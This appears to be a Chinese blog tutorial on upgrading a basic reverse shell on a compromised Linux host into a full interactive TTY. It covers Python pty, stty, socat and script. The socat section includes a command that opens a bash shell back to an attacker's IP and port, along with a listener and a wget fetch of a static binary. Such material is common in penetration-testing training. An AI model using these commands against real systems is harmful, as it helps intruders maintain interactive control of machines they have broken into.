Loading ...
拿到基础 Shell 后如何获取完整 Shell

当通过反弹等方式拿到基础 Shell 后,往往面临无法使用vimtopsudo等交互命令的问题(因缺乏 tty 环境)。以下是 4 种升级为完整交互 Shell 的核心方法,无需重复描述监听过程,聚焦于拿到 Shell 后的操作:

一、Python pty 快速升级(最常用)

适用条件

目标主机已安装 Python(多数 Linux 系统默认预装)。

操作步骤

在当前基础 Shell 中直接执行:

python -c 'import pty; pty.spawn("/bin/bash")'

效果

  • 生成伪终端(pty),可基本支持cdls等命令的上下文保留;

  • 能使用vim(部分功能可能异常)和sudo

局限性

  • Ctrl+C会直接断开连接;

  • 无法通过方向键调用历史命令;

  • top等依赖 tty 的命令可能仍报错。

二、nc 环境下的完整 tty 配置(功能最完善)

适用条件

攻击机为 Linux 系统,且已通过 nc 拿到基础 Shell。

操作步骤

  1. 在当前 Shell 中启用 pty

    python -c 'import pty; pty.spawn("/bin/bash")'  # 若没有python,尝试python3
  2. 挂起进程并配置攻击机终端

    • Ctrl+Z将当前 Shell 挂起(回到攻击机本地终端);

    • 执行以下命令关闭终端回显并恢复进程:

      stty raw -echo
      fg  # 此时Shell会回到前台,可能需要按Enter确认
  3. 配置环境变量

    reset  # 刷新终端(可能需要手动输入,看不到回显时直接回车)
    export SHELL=bash
    export TERM=xterm-256color  # 适配终端颜色和功能
    # 根据攻击机终端尺寸设置(示例:行数24,列数80)
    stty rows 24 columns 80

效果

  • 获得完整 tty 环境,支持vimtopsudo等所有交互命令;

  • 方向键调用历史命令、Ctrl+C终止单个命令(不中断连接)均正常。

三、socat 工具实现稳定交互(最稳定)

适用条件

目标主机可上传文件或通过 wget 下载工具。

操作步骤

  1. 上传 socat 到目标机

    • 攻击机下载静态编译版 socat(无需目标机安装依赖):

      wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O socat
    • 通过 WebShell 或基础 Shell 将socat上传至目标机/tmp目录,赋予执行权限:

      chmod +x /tmp/socat
  2. 在目标机执行升级命令

    /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机IP:攻击机端口

    (攻击机需提前用socat监听对应端口:socat file:tty,raw,echo=0 tcp-listen:端口

效果

  • 稳定性远超 nc,接近 SSH 体验;

  • 支持所有终端功能,Ctrl+C、后台任务切换(Ctrl+Z)均正常;

  • 即使网络波动,重连后仍可恢复交互。

四、script 命令应急方案(无依赖)

适用条件

目标机无 Python、无法上传工具,但系统自带script命令(几乎所有 Linux 默认安装)。

操作步骤

在当前基础 Shell 中直接执行:

script /dev/null  # 生成指向空设备的pty,避免产生日志文件

效果

  • 生成基础 tty 环境,tty命令会返回/dev/pts/*(验证成功);

  • 可使用vimtop等命令(功能略逊于完整 tty,但满足应急需求)。

局限性

  • 部分终端功能(如历史命令方向键调用)可能异常;

  • 稳定性一般,复杂操作可能卡顿。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇